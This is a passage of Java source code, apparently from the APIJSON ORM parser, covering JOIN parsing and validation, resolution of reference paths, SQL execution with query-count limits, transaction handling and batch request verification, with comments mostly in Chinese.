onArrayParse <<<<<<<<<<<<<<<<<<<<<<<<<<<<\n isExtract >> putQueryResult " + " startTime = " + startTime + "; endTime = " + endTime + "; duration = " + (endTime - startTime) + "\n >>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n"); } } finally { //后面还可能用到,要还原 request.put(JSONRequest.KEY_QUERY, query); request.put(JSONRequest.KEY_COMPAT, compat); request.put(JSONRequest.KEY_COUNT, count); request.put(JSONRequest.KEY_PAGE, page); request.put(JSONRequest.KEY_JOIN, join); } if (Log.DEBUG) { Log.i(TAG, "onArrayParse return response = \n" + JSON.toJSONString(response) + "\n>>>>>>>>>>>>>>>\n\n\n"); } return response; } private static final List<String> JOIN_COPY_KEY_LIST; static { // TODO 不全 JOIN_COPY_KEY_LIST = new ArrayList<String>(); JOIN_COPY_KEY_LIST.add(JSONRequest.KEY_ROLE); JOIN_COPY_KEY_LIST.add(JSONRequest.KEY_DATABASE); JOIN_COPY_KEY_LIST.add(JSONRequest.KEY_SCHEMA); JOIN_COPY_KEY_LIST.add(JSONRequest.KEY_DATASOURCE); JOIN_COPY_KEY_LIST.add(JSONRequest.KEY_COLUMN); JOIN_COPY_KEY_LIST.add(JSONRequest.KEY_NULL); JOIN_COPY_KEY_LIST.add(JSONRequest.KEY_CAST); JOIN_COPY_KEY_LIST.add(JSONRequest.KEY_COMBINE); JOIN_COPY_KEY_LIST.add(JSONRequest.KEY_GROUP); JOIN_COPY_KEY_LIST.add(JSONRequest.KEY_HAVING); JOIN_COPY_KEY_LIST.add(JSONRequest.KEY_HAVING_AND); JOIN_COPY_KEY_LIST.add(JSONRequest.KEY_ORDER); JOIN_COPY_KEY_LIST.add(JSONRequest.KEY_KEY); JOIN_COPY_KEY_LIST.add(JSONRequest.KEY_RAW); } /**JOIN 多表同时筛选 * @param join "&/User,</Moment/id@",@/Comment/toId@" 或 "&/User":{}, "</Moment/id@":{"@column":"id"}, "@/Comment/toId@": {"@group":"toId", "@having":"toId>0"} * @param request * @return * @throws Exception */ private List<Join> onJoinParse(Object join, JSONObject request) throws Exception { JSONObject joinMap = null; if (join instanceof JSONObject) { joinMap = (JSONObject) join; } else if (join instanceof String) { String[] sArr = request == null || request.isEmpty() ? null : StringUtil.split((String) join); if (sArr != null && sArr.length > 0) { joinMap = new JSONObject(true); //注意:这里必须要保证join连接顺序,保证后边遍历是按照join参数的顺序生成的SQL for (int i = 0; i < sArr.length; i++) { joinMap.put(sArr[i], new JSONObject()); } } } else if (join != null){ throw new UnsupportedDataTypeException(TAG + ".onJoinParse join 只能是 String 或 JSONObject 类型!"); } Set<Entry<String, Object>> set = joinMap == null ? null : joinMap.entrySet(); if (set == null || set.isEmpty()) { Log.e(TAG, "onJoinParse set == null || set.isEmpty() >> return null;"); return null; } List<Join> joinList = new ArrayList<>(); for (Entry<String, Object> e : set) { // { &/User:{}, </Moment/id@":{}, @/Comment/toId@:{} } // 分割 /Table/key String path = e == null ? null : e.getKey(); Object outer = path == null ? null : e.getValue(); if (outer instanceof JSONObject == false) { throw new IllegalArgumentException(JSONRequest.KEY_JOIN + ":value 中value不合法!" + "必须为 &/Table0/key0,</Table1/key1,... 或 { '&/Table0/key0':{}, '</Table1/key1':{},... } 这种形式!"); } int index = path == null ? -1 : path.indexOf("/"); if (index < 0) { throw new IllegalArgumentException(JSONRequest.KEY_JOIN + ":value 中 value 值 " + path + " 不合法!" + "必须为 &/Table0,</Table1/key1,@/Table1:alias2/key2,... 或 { '&/Table0':{}, '</Table1/key1':{},... } 这种形式!"); } String joinType = path.substring(0, index); //& | ! < > ( ) <> () * // if (StringUtil.isEmpty(joinType, true)) { // joinType = "|"; // FULL JOIN // } path = path.substring(index + 1); index = path.lastIndexOf("/"); String tableKey = index < 0 ? path : path.substring(0, index); // User:owner int index2 = tableKey.lastIndexOf("/"); String arrKey = index2 < 0 ? null : tableKey.substring(0, index2); if (arrKey != null && JSONRequest.isArrayKey(arrKey) == false) { throw new IllegalArgumentException(JSONRequest.KEY_JOIN + ":'" + e.getKey() + "' 对应的 " + arrKey + " 不是合法的数组 key[] !" + "@ APP JOIN 最多允许跨 1 层,只能是子数组,且数组对象中不能有 join: value 键值对!"); } tableKey = index2 < 0 ? tableKey : tableKey.substring(index2+1); apijson.orm.Entry<String, String> entry = Pair.parseEntry(tableKey, true); String table = entry.getKey(); // User if (StringUtil.isName(table) == false) { throw new IllegalArgumentException(JSONRequest.KEY_JOIN + ":value 中 value 的 Table 值 " + table + " 不合法!" + "必须为 &/Table0,</Table1/key1,@/Table1:alias2/key2,... 或 { '&/Table0':{}, '</Table1/key1':{},... } 这种格式!" + "且 Table 必须满足大写字母开头的表对象英文单词 key 格式!"); } String alias = entry.getValue(); // owner if (StringUtil.isNotEmpty(alias, true) && StringUtil.isName(alias) == false) { throw new IllegalArgumentException(JSONRequest.KEY_JOIN + ":value 中 value 的 alias 值 " + alias + " 不合法!" + "必须为 &/Table0,</Table1/key1,@/Table1:alias2/key2,... 或 { '&/Table0':{}, '</Table1/key1':{},... } 这种格式!" + "且 Table:alias 的 alias 必须满足英文单词变量名格式!"); } // 取出Table对应的JSONObject,及内部引用赋值 key:value JSONObject tableObj; JSONObject parentPathObj; // 保留 try { parentPathObj = arrKey == null ? request : request.getJSONObject(arrKey); // 保留 tableObj = parentPathObj == null ? null : parentPathObj.getJSONObject(tableKey); if (tableObj == null) { throw new NullPointerException("tableObj == null"); } } catch (Exception e2) { throw new IllegalArgumentException(JSONRequest.KEY_JOIN + ":'" + e.getKey() + "' 对应的 " + tableKey + ":value 中 value 类型不合法!" + "必须是 {} 这种 JSONObject 格式!" + e2.getMessage()); } if (arrKey != null) { if (parentPathObj.get(JSONRequest.KEY_JOIN) != null) { throw new IllegalArgumentException(JSONRequest.KEY_JOIN + ":'" + e.getKey() + "' 对应的 " + arrKey + ":{ join: value } 中 value 不合法!" + "@ APP JOIN 最多允许跨 1 层,只能是子数组,且数组对象中不能有 join: value 键值对!"); } Integer subPage = parentPathObj.getInteger(JSONRequest.KEY_PAGE); if (subPage != null && subPage != 0) { throw new IllegalArgumentException(JSONRequest.KEY_JOIN + ":'" + e.getKey() + "' 对应的 " + arrKey + ":{ page: value } 中 value 不合法!" + "@ APP JOIN 最多允许跨 1 层,只能是子数组,且数组对象中 page 值只能为 null 或 0 !"); } } boolean isAppJoin = "@".equals(joinType); JSONObject refObj = new JSONObject(tableObj.size(), true); String key = index < 0 ? null : path.substring(index + 1); // id@ if (key != null) { // 指定某个 key 为 JOIN ON 条件 if (key.indexOf("@") != key.length() - 1) { throw new IllegalArgumentException(JSONRequest.KEY_JOIN + ":" + e.getKey() + " 中 " + key + " 不合法!" + "必须为 &/Table0,</Table1/key1,@/Table1:alias2/key2,... 或 { '&/Table0':{}, '</Table1/key1':{},... } 这种格式!" + "且 Table:alias 的 alias 必须满足英文单词变量名格式!"); } if (tableObj.get(key) instanceof String == false) { throw new IllegalArgumentException(JSONRequest.KEY_JOIN + ":" + e.getKey() + "' 对应的 " + tableKey + ":{ " + key + ": value } 中 value 类型不合法!必须为同层级引用赋值路径 String!"); } if (isAppJoin && StringUtil.isName(key.substring(0, key.length() - 1)) == false) { throw new IllegalArgumentException(JSONRequest.KEY_JOIN + ":'" + e.getKey() + "' 中 " + key + " 不合法 !" + "@ APP JOIN 只允许 key@:/Table/refKey 这种 = 等价连接!"); } refObj.put(key, tableObj.getString(key)); } Set<Entry<String, Object>> tableSet = tableObj.entrySet(); // 取出所有 join 条件 JSONObject requestObj = new JSONObject(true); // (JSONObject) obj.clone(); boolean matchSingle = false; for (Entry<String, Object> tableEntry : tableSet) { String k = tableEntry.getKey(); Object v = k == null ? null : tableEntry.getValue(); if (v == null) { continue; } matchSingle = matchSingle == false && k.equals(key); if (matchSingle) { continue; } if (k.length() > 1 && k.indexOf("@") == k.length() - 1 && v instanceof String) { String sv = (String) v; int ind = sv.endsWith("@") ? -1 : sv.indexOf("/"); if (ind == 0 && key == null) { // 指定了某个就只允许一个 ON 条件 String p = sv.substring(1); int ind2 = p.indexOf("/"); String tk = ind2 < 0 ? null : p.substring(0, ind2); apijson.orm.Entry<String, String> te = tk == null || p.substring(ind2 + 1).indexOf("/") >= 0 ? null : Pair.parseEntry(tk, true); if (te != null && JSONRequest.isTableKey(te.getKey()) && request.get(tk) instanceof JSONObject) { if (isAppJoin) { if (refObj.size() >= 1) { throw new IllegalArgumentException(JSONRequest.KEY_JOIN + ":" + e.getKey() + " 中 " + k + " 不合法!" + "@ APP JOIN 必须有且只有一个引用赋值键值对!"); } if (StringUtil.isName(k.substring(0, k.length() - 1)) == false) { throw new IllegalArgumentException(JSONRequest.KEY_JOIN + ":'" + e.getKey() + "' 中 " + k + " 不合法 !" + "@ APP JOIN 只允许 key@:/Table/refKey 这种 = 等价连接!"); } } refObj.put(k, v); continue; } } Object rv = getValueByPath(sv); if (rv != null && rv.equals(sv) == false) { requestObj.put(k.substring(0, k.length() - 1), rv); continue; } throw new UnsupportedOperationException(table + "/" + k + " 不合法!" + JSONRequest.KEY_JOIN + " 关联的 Table 中," + "join: ?/Table/key 时只能有 1 个 key@:value;join: ?/Table 时所有 key@:value 要么是符合 join 格式,要么能直接解析成具体值!"); // TODO 支持 join on } if (k.startsWith("@")) { if (JOIN_COPY_KEY_LIST.contains(k)) { requestObj.put(k, v); // 保留 } } else { if (k.endsWith("@")) { throw new UnsupportedOperationException(table + "/" + k + " 不合法!" + JSONRequest.KEY_JOIN + " 关联的 Table 中," + "join: ?/Table/key 时只能有 1 个 key@:value;join: ?/Table 时所有 key@:value 要么是符合 join 格式,要么能直接解析成具体值!"); // TODO 支持 join on } if (k.contains("()") == false) { // 不需要远程函数 requestObj.put(k, v); // 保留 } } } Set<Entry<String, Object>> refSet = refObj.entrySet(); if (refSet.isEmpty() && "*".equals(joinType) == false) { throw new IllegalArgumentException(JSONRequest.KEY_JOIN + ":value 中 value 的 alias 值 " + alias + " 不合法!" + "必须为 &/Table0,</Table1/key1,@/Table1:alias2/key2,... 或 { '&/Table0':{}, '</Table1/key1':{},... } 这种格式!" + "且 Table:alias 的 alias 必须满足英文单词变量名格式!"); } Join j = new Join(); j.setPath(e.getKey()); j.setJoinType(joinType); j.setTable(table); j.setAlias(alias); j.setOuter((JSONObject) outer); j.setRequest(requestObj); if (arrKey != null) { Integer count = parentPathObj.getInteger(JSONRequest.KEY_COUNT); j.setCount(count == null ? getDefaultQueryCount() : count); } List<Join.On> onList = new ArrayList<>(); for (Entry<String, Object> refEntry : refSet) { String originKey = refEntry.getKey(); String targetPath = (String) refEntry.getValue(); if (StringUtil.isEmpty(targetPath, true)) { throw new IllegalArgumentException(e.getKey() + ":value 中 value 值 " + targetPath + " 不合法!必须为引用赋值的路径 '/targetTable/targetKey' !"); } // 取出引用赋值路径 targetPath 对应的 Table 和 key index = targetPath.lastIndexOf("/"); String targetKey = index < 0 ? null : targetPath.substring(index + 1); if (StringUtil.isName(targetKey) == false) { throw new IllegalArgumentException(e.getKey() + ":'/targetTable/targetKey' 中 targetKey 值 " + targetKey + " 不合法!必须满足英文单词变量名格式!"); } targetPath = targetPath.substring(0, index); index = targetPath.lastIndexOf("/"); String targetTableKey = index < 0 ? targetPath : targetPath.substring(index + 1); // 主表允许别名 apijson.orm.Entry<String, String> targetEntry = Pair.parseEntry(targetTableKey, true); String targetTable = targetEntry.getKey(); //User if (StringUtil.isName(targetTable) == false) { throw new IllegalArgumentException(e.getKey() + ":'/targetTable/targetKey' 中 targetTable 值 " + targetTable + " 不合法!必须满足大写字母开头的表对象英文单词 key 格式!"); } String targetAlias = targetEntry.getValue(); //owner if (StringUtil.isNotEmpty(targetAlias, true) && StringUtil.isName(targetAlias) == false) { throw new IllegalArgumentException(e.getKey() + ":'/targetTable:targetAlias/targetKey' 中 targetAlias 值 " + targetAlias + " 不合法!必须满足英文单词变量名格式!"); } targetTable = targetTableKey; // 主表允许别名 if (StringUtil.isName(targetTable) == false) { throw new IllegalArgumentException(e.getKey() + ":'/targetTable/targetKey' 中 targetTable 值 " + targetTable + " 不合法!必须满足大写字母开头的表对象英文单词 key 格式!"); } //对引用的JSONObject添加条件 JSONObject targetObj; try { targetObj = request.getJSONObject(targetTableKey); } catch (Exception e2) { throw new IllegalArgumentException(e.getKey() + ":'/targetTable/targetKey' 中路径对应的 '" + targetTableKey + "':value 中 value 类型不合法!必须是 {} 这种 JSONObject 格式!" + e2.getMessage()); } if (targetObj == null) { throw new IllegalArgumentException(e.getKey() + ":'/targetTable/targetKey' 中路径对应的对象 '" + targetTableKey + "':{} 不存在或值为 null !必须是 {} 这种 JSONObject 格式!"); } Join.On on = new Join.On(); on.setKeyAndType(j.getJoinType(), j.getTable(), originKey); if (StringUtil.isName(on.getKey()) == false) { throw new IllegalArgumentException(JSONRequest.KEY_JOIN + ":value 中 value 的 key@ 中 key 值 " + on.getKey() + " 不合法!必须满足英文单词变量名格式!"); } on.setOriginKey(originKey); on.setOriginValue((String) refEntry.getValue()); on.setTargetTable(targetTable); on.setTargetAlias(targetAlias); on.setTargetKey(targetKey); onList.add(on); } j.setOnList(onList); joinList.add(j); // onList.add(table + "." + key + " = " + targetTable + "." + targetKey); // ON User.id = Moment.userId // 保证和 SQLExcecutor 缓存的 Config 里 where 顺序一致,生成的 SQL 也就一致 <<<<<<<<< // AbstractSQLConfig.newSQLConfig<T> 中强制把 id, id{}, userId, userId{} 放到了最前面 tableObj.put(key, tableObj.remove(key)); if (refObj.size() != tableObj.size()) { // 把 key 强制放最前,AbstractSQLExcecutor 中 config.putWhere 也是放尽可能最前 refObj.putAll(tableObj); parentPathObj.put(tableKey, refObj); // tableObj.clear(); // tableObj.putAll(refObj); } // 保证和 SQLExcecutor 缓存的 Config 里 where 顺序一致,生成的 SQL 也就一致 >>>>>>>>> } //拼接多个 SQLConfig<T> 的SQL语句,然后执行,再把结果分别缓存(Moment, User等)到 SQLExecutor 的 cacheMap // AbstractSQLConfig<T> config0 = null; // String sql = "SELECT " + config0.getColumnString() + " FROM " + config0.getTable() + " INNER JOIN " + targetTable + " ON " // + onList.get(0) + config0.getGroupString() + config0.getHavingString() + config0.getOrderString(); return joinList; } /**根据路径取值 * @param parent * @param pathKeys * @return */ public static <V extends Object> V getValue(JSONObject parent, String[] pathKeys) { if (parent == null || pathKeys == null || pathKeys.length <= 0) { Log.w(TAG, "getChild parent == null || pathKeys == null || pathKeys.length <= 0 >> return parent;"); return (V) parent; } //逐层到达child的直接容器JSONObject parent final int last = pathKeys.length - 1; for (int i = 0; i < last; i++) {//一步一步到达指定位置 if (parent == null) {//不存在或路径错误(中间的key对应value不是JSONObject) break; } parent = getJSONObject(parent, pathKeys[i]); } return parent == null ? null : (V) parent.get(pathKeys[last]); } /**获取被依赖引用的key的路径, 实时替换[] -> []/i * @param parentPath * @param valuePath * @return */ public static String getValuePath(String parentPath, String valuePath) { if (valuePath.startsWith("/")) { valuePath = getAbsPath(parentPath, valuePath); } else {//处理[] -> []/i valuePath = replaceArrayChildPath(parentPath, valuePath); } return valuePath; } /**获取绝对路径 * @param path * @param name * @return */ public static String getAbsPath(String path, String name) { Log.i(TAG, "getPath path = " + path + "; name = " + name + " <<<<<<<<<<<<<"); path = StringUtil.getString(path); name = StringUtil.getString(name); if (StringUtil.isNotEmpty(path, false)) { if (StringUtil.isNotEmpty(name, false)) { path += ((name.startsWith("/") ? "" : "/") + name); } } else { path = name; } if (path.startsWith("/")) { path = path.substring(1); } Log.i(TAG, "getPath return " + path + " >>>>>>>>>>>>>>>>"); return path; } /**替换[] -> []/i * 不能写在getAbsPath里,因为name不一定是依赖路径 * @param parentPath * @param valuePath * @return */ public static String replaceArrayChildPath(String parentPath, String valuePath) { String[] ps = StringUtil.split(parentPath, "]/");//"[]/"); if (ps != null && ps.length > 1) { String[] vs = StringUtil.split(valuePath, "]/"); if (vs != null && vs.length > 0) { String pos; for (int i = 0; i < ps.length - 1; i++) { if (ps[i] == null || ps[i].equals(vs[i]) == false) {//允许""? break; } pos = ps[i+1].contains("/") == false ? ps[i+1] : ps[i+1].substring(0, ps[i+1].indexOf("/")); if ( //StringUtil.isNumer(pos) && vs[i+1].startsWith(pos + "/") == false) { vs[i+1] = pos + "/" + vs[i+1]; } } return StringUtil.getString(vs, "]/"); } } return valuePath; } //依赖引用关系 <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< /**将已获取完成的object的内容替换requestObject里对应的值 * @param path object的路径 * @param result 需要被关联的object */ @Override public void putQueryResult(String path, Object result) { Log.i(TAG, "\n putQueryResult valuePath = " + path + "; result = " + result + "\n <<<<<<<<<<<<<<<<<<<<<<<"); // if (queryResultMap.containsKey(valuePath)) {//只保存被关联的value Log.d(TAG, "putQueryResult queryResultMap.containsKey(valuePath) >> queryResultMap.put(path, result);"); queryResultMap.put(path, result); // } } //CS304 Issue link: https://github.com/Tencent/APIJSON/issues/48 /**根据路径获取值 * @param valuePath -the path need to get value * @return parent == null ? valuePath : parent.get(keys[keys.length - 1]) * <p>use entrySet+getValue() to replace keySet+get() to enhance efficiency</p> */ @Override public Object getValueByPath(String valuePath) { Log.i(TAG, "<<<<<<<<<<<<<<< \n getValueByPath valuePath = " + valuePath + "\n <<<<<<<<<<<<<<<<<<"); if (StringUtil.isEmpty(valuePath, true)) { Log.e(TAG, "getValueByPath StringUtil.isNotEmpty(valuePath, true) == false >> return null;"); return null; } Object target = queryResultMap.get(valuePath); if (target != null) { return target; } //取出key被valuePath包含的result,再从里面获取key对应的value JSONObject parent = null; String[] keys = null; for (Entry<String,Object> entry : queryResultMap.entrySet()){ String path = entry.getKey(); if (valuePath.startsWith(path + "/")) { try { parent = (JSONObject) entry.getValue(); } catch (Exception e) { Log.e(TAG, "getValueByPath try { parent = (JSONObject) queryResultMap.get(path); } catch { " + "\n parent not instanceof JSONObject!"); parent = null; } if (parent != null) { keys = StringUtil.splitPath(valuePath.substring(path.length())); } break; } } //逐层到达targetKey的直接容器JSONObject parent if (keys != null && keys.length > 1) { for (int i = 0; i < keys.length - 1; i++) {//一步一步到达指定位置parentPath if (parent == null) {//不存在或路径错误(中间的key对应value不是JSONObject) break; } parent = getJSONObject(parent, keys[i]); } } if (parent != null) { Log.i(TAG, "getValueByPath >> get from queryResultMap >> return parent.get(keys[keys.length - 1]);"); target = keys == null || keys.length <= 0 ? parent : parent.get(keys[keys.length - 1]); //值为null应该报错NotExistExeption,一般都是id关联,不可为null,否则可能绕过安全机制 if (target != null) { Log.i(TAG, "getValueByPath >> getValue >> return target = " + target); return target; } } //从requestObject中取值 target = getValue(requestObject, StringUtil.splitPath(valuePath)); if (target != null) { Log.i(TAG, "getValueByPath >> getValue >> return target = " + target); return target; } Log.i(TAG, "getValueByPath return null;"); return null; } //依赖引用关系 >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> public static JSONObject getJSONObject(JSONObject object, String key) { try { return object.getJSONObject(key); } catch (Exception e) { Log.i(TAG, "getJSONObject try { return object.getJSONObject(key);" + " } catch (Exception e) { \n" + e.getMessage()); } return null; } public static final String KEY_CONFIG = "config"; public static final String KEY_SQL = "sql"; protected Map<String, List<JSONObject>> arrayMainCacheMap = new HashMap<>(); public void putArrayMainCache(String arrayPath, List<JSONObject> mainTableDataList) { arrayMainCacheMap.put(arrayPath, mainTableDataList); } public List<JSONObject> getArrayMainCache(String arrayPath) { return arrayMainCacheMap.get(arrayPath); } public JSONObject getArrayMainCacheItem(String arrayPath, int position) { List<JSONObject> list = getArrayMainCache(arrayPath); return list == null || position >= list.size() ? null : list.get(position); } /**执行 SQL 并返回 JSONObject * @param config * @return * @throws Exception */ @Override public JSONObject executeSQL(SQLConfig<T> config, boolean isSubquery) throws Exception { if (config == null) { Log.d(TAG, "executeSQL config == null >> return null;"); return null; } config.setParser(this); config.setVersion(getVersion()); config.setTag(getTag()); if (isSubquery) { JSONObject sqlObj = new JSONObject(true); sqlObj.put(KEY_CONFIG, config); return sqlObj;//容易丢失信息 JSON.parseObject(config); } try { JSONObject result; boolean explain = config.isExplain(); if (explain) { //如果先执行 explain,则 execute 会死循环,所以只能先执行非 explain config.setExplain(false); //对下面 config.getSQL(false); 生效 JSONObject res = getSQLExecutor().execute(config, false); //如果是查询方法,才能执行explain if (RequestMethod.isQueryMethod(config.getMethod()) && config.isElasticsearch() == false){ config.setExplain(explain); JSONObject explainResult = config.isMain() && config.getPosition() != 0 ? null : getSQLExecutor().execute(config, false); if (explainResult == null) { result = res; } else { result = new JSONObject(true); result.put(KEY_EXPLAIN, explainResult); result.putAll(res); } } else {//如果是更新请求,不执行explain,但可以返回sql result = new JSONObject(true); result.put(KEY_SQL, config.getSQL(false)); result.putAll(res); } } else { sqlExecutor = getSQLExecutor(); result = sqlExecutor.execute(config, false); // FIXME 改为直接在 sqlExecutor 内加好,最后 Parser<T> 取结果,可以解决并发执行导致内部计算出错 // executedSQLDuration += sqlExecutor.getExecutedSQLDuration() + sqlExecutor.getSqlResultDuration(); } return result; } catch (Exception e) { throw CommonException.wrap(e, config); } finally { if (config.getPosition() == 0 && config.limitSQLCount()) { int maxSQLCount = getMaxSQLCount(); int sqlCount = getSQLExecutor().getExecutedSQLCount(); Log.d(TAG, "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< \n\n\n 已执行 " + sqlCount + "/" + maxSQLCount + " 条 SQL \n\n\n >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>"); if (sqlCount > maxSQLCount) { throw new IllegalArgumentException("截至 " + config.getTable() + " 已执行 " + sqlCount + " 条 SQL,数量已超限,必须在 0-" + maxSQLCount + " 内 !"); } } } } //事务处理 <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< private int transactionIsolation = Connection.TRANSACTION_NONE; @Override public int getTransactionIsolation() { return transactionIsolation; } @Override public void setTransactionIsolation(int transactionIsolation) { this.transactionIsolation = transactionIsolation; } @Override public void begin(int transactionIsolation) { Log.d("\n\n" + TAG, "<<<<<<<<<<<<<<<<<<<<<<< begin transactionIsolation = " + transactionIsolation + " >>>>>>>>>>>>>>>>>>>>>>> \n\n"); getSQLExecutor().setTransactionIsolation(transactionIsolation); // 不知道 connection 什么时候创建,不能在这里准确控制,getSqlExecutor().begin(transactionIsolation); } @Override public void rollback() throws SQLException { Log.d("\n\n" + TAG, "<<<<<<<<<<<<<<<<<<<<<<< rollback >>>>>>>>>>>>>>>>>>>>>>> \n\n"); getSQLExecutor().rollback(); } @Override public void rollback(Savepoint savepoint) throws SQLException { Log.d("\n\n" + TAG, "<<<<<<<<<<<<<<<<<<<<<<< rollback savepoint " + (savepoint == null ? "" : "!") + "= null >>>>>>>>>>>>>>>>>>>>>>> \n\n"); getSQLExecutor().rollback(savepoint); } @Override public void commit() throws SQLException { Log.d("\n\n" + TAG, "<<<<<<<<<<<<<<<<<<<<<<< commit >>>>>>>>>>>>>>>>>>>>>>> \n\n"); getSQLExecutor().commit(); } @Override public void close() { Log.d("\n\n" + TAG, "<<<<<<<<<<<<<<<<<<<<<<< close >>>>>>>>>>>>>>>>>>>>>>> \n\n"); getSQLExecutor().close(); } /**开始事务 */ protected void onBegin() { // Log.d(TAG, "onBegin >>"); if (RequestMethod.isQueryMethod(requestMethod)) { return; } begin(getTransactionIsolation()); } /**提交事务 */ protected void onCommit() { // Log.d(TAG, "onCommit >>"); // this.sqlExecutor.getTransactionIsolation() 只有json第一次执行才会设置, get请求=0 if (RequestMethod.isQueryMethod(requestMethod) && getSQLExecutor().getTransactionIsolation() == Connection.TRANSACTION_NONE) { return; } try { commit(); } catch (SQLException e) { e.printStackTrace(); } } /**回滚事务 */ protected void onRollback() { // Log.d(TAG, "onRollback >>"); if (RequestMethod.isQueryMethod(requestMethod)) { return; } try { rollback(); } catch (SQLException e1) { e1.printStackTrace(); try { rollback(null); } catch (SQLException e2) { e2.printStackTrace(); } } } //事务处理 >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> protected void onClose() { // Log.d(TAG, "onClose >>"); close(); verifier = null; sqlExecutor = null; queryResultMap.clear(); queryResultMap = null; } private void setOpMethod(JSONObject request, ObjectParser<T> op, String key) { String _method = key == null ? null : request.getString(apijson.JSONObject.KEY_METHOD); if (_method != null) { RequestMethod method = RequestMethod.valueOf(_method); // 必须精准匹配,避免缓存命中率低 this.setMethod(method); op.setMethod(method); } } protected JSONObject getRequestStructure(RequestMethod method, String tag, int version) throws Exception { // 获取指定的JSON结构 <<<<<<<<<<<< JSONObject object = null; String error = ""; try { object = getStructure("Request", method.name(), tag, version); } catch (Exception e) { error = e.getMessage(); } if (object == null) { // empty表示随意操作 || object.isEmpty()) { throw new UnsupportedOperationException("找不到 version: " + version + ", method: " + method.name() + ", tag: " + tag + " 对应的 structure !" + "非开放请求必须是后端 Request 表中校验规则允许的操作!\n " + error + "\n如果需要则在 Request 表中新增配置!"); } return object; } protected JSONObject batchVerify(RequestMethod method, String tag, int version, String name, @NotNull JSONObject request, int maxUpdateCount, SQLCreator creator) throws Exception { JSONObject correctRequest = new JSONObject(true); List<String> removeTmpKeys = new ArrayList<>(); // 请求json里面的临时变量,不需要带入后面的业务中,比如 @post、@get等 Set<String> reqSet = request == null ? null : request.keySet(); if (reqSet == null || request.isEmpty()) { throw new IllegalArgumentException("JSON 对象格式不正确 !正确示例例如 \"User\": {}"); } for (String key : reqSet) { // key 重复直接抛错(xxx:alias, xxx:alias[]) if (correctRequest.containsKey(key) || correctRequest.containsKey(key + apijson.JSONObject.KEY_ARRAY)) { throw new IllegalArgumentException("对象名重复,请添加别名区分 ! 重复对象名为: " + key); } boolean isPost = apijson.orm.JSONRequest.KEY_POST.equals(key); // @post、@get 等 RequestMethod try { RequestMethod keyMethod = isPost ? RequestMethod.POST : JSONRequest.KEY_METHOD_ENUM_MAP.get(key); if (keyMethod != null) { // 如果不匹配,异常不处理即可 removeTmpKeys.add(key); Object val = request.get(key); JSONObject obj = val instanceof JSONObject ? request.getJSONObject(key) : null; if (obj == null) { if (val instanceof String) { String[] tbls = StringUtil.split((String) val); if (tbls != null && tbls.length > 0) { obj = new JSONObject(true); for (int i = 0; i < tbls.length; i++) { String tbl = tbls[i]; if (obj.containsKey(tbl)) { throw new ConflictException(key + ": value 中 " + tbl + " 已经存在,不能重复!"); } obj.put(tbl, isPost && JSONRequest.isTableArray(tbl) ? tbl.substring(0, tbl.length() - 2) + ":[]" : ""); } } } else { throw new IllegalArgumentException(key + ": value 中 value 类型错误,只能是 String 或 JSONObject {} !"); } } Set<Entry<String, Object>> set = obj == null ? new HashSet<>() : obj.entrySet(); for (Entry<String, Object> objEntry : set) { String objKey = objEntry == null ? null : objEntry.getKey(); if (objKey == null) { continue; } Map<String, Object> objAttrMap = new HashMap<>(); objAttrMap.put(apijson.JSONObject.KEY_METHOD, keyMethod); keyObjectAttributesMap.put(objKey, objAttrMap); Object objVal = objEntry.getValue(); JSONObject objAttrJson = objVal instanceof JSONObject ? obj.getJSONObject(objKey) : null; if (objAttrJson == null) { if (objVal instanceof String) { objAttrMap.put(JSONRequest.KEY_TAG, "".equals(objVal) ? objKey : objVal); } else { throw new IllegalArgumentException(key + ": { " + objKey + ": value 中 value 类型错误,只能是 String 或 JSONObject {} !"); } } else { Set<Entry<String, Object>> objSet = objAttrJson.entrySet(); boolean hasTag = false; for (Entry<String, Object> entry : objSet) { String objAttrKey = entry == null ? null : entry.getKey(); if (objAttrKey == null) { continue; } switch (objAttrKey) { case apijson.JSONObject.KEY_DATASOURCE: case apijson.JSONObject.KEY_SCHEMA: case apijson.JSONObject.KEY_DATABASE: case JSONRequest.KEY_VERSION: case apijson.JSONObject.KEY_ROLE: objAttrMap.put(objAttrKey, entry.getValue()); break; case JSONRequest.KEY_TAG: hasTag = true; objAttrMap.put(objAttrKey, entry.getValue()); break; default: break; } } if (hasTag == false) { objAttrMap.put(JSONRequest.KEY_TAG, isPost && JSONRequest.isTableArray(objKey) ? objKey.substring(0, objKey.length() - 2) + ":[]" : objKey); } } } continue; } // 1、非crud,对于没有显式声明操作方法的,直接用 URL(/get, /post 等) 对应的默认操作方法 // 2、crud, 没有声明就用 GET // 3、兼容 sql@ JSONObject,设置 GET方法 // 将method 设置到每个object, op执行会解析 Object obj = request.get(key); if (obj instanceof JSONObject) { Map<String, Object> attrMap = keyObjectAttributesMap.get(key); if (attrMap == null) { // 数组会解析为对象进行校验,做一下兼容 if (keyObjectAttributesMap.get(key + apijson.JSONObject.KEY_ARRAY) == null) { if (method == RequestMethod.CRUD || key.endsWith("@")) { ((JSONObject) obj).put(apijson.JSONObject.KEY_METHOD, GET); Map<String, Object> objAttrMap = new HashMap<>(); objAttrMap.put(apijson.JSONObject.KEY_METHOD, GET); keyObjectAttributesMap.put(key, objAttrMap); } else { ((JSONObject) obj).put(apijson.JSONObject.KEY_METHOD, method); Map<String, Object> objAttrMap = new HashMap<>(); objAttrMap.put(apijson.JSONObject.KEY_METHOD, method); keyObjectAttributesMap.put(key, objAttrMap); } } else { setRequestAttribute(key, true, apijson.JSONObject.KEY_METHOD, request); setRequestAttribute(key, true, apijson.JSONObject.KEY_DATASOURCE, request); setRequestAttribute(key, true, apijson.JSONObject.KEY_SCHEMA, request); setRequestAttribute(key, true, apijson.JSONObject.KEY_DATABASE, request); setRequestAttribute(key, true, apijson.JSONObject.VERSION, request); setRequestAttribute(key, true, apijson.JSONObject.KEY_ROLE, request); } } else { setRequestAttribute(key, false, apijson.JSONObject.KEY_METHOD, request); setRequestAttribute(key, false, apijson.JSONObject.KEY_DATASOURCE, request); setRequestAttribute(key, false, apijson.JSONObject.KEY_SCHEMA, request); setRequestAttribute(key, false, 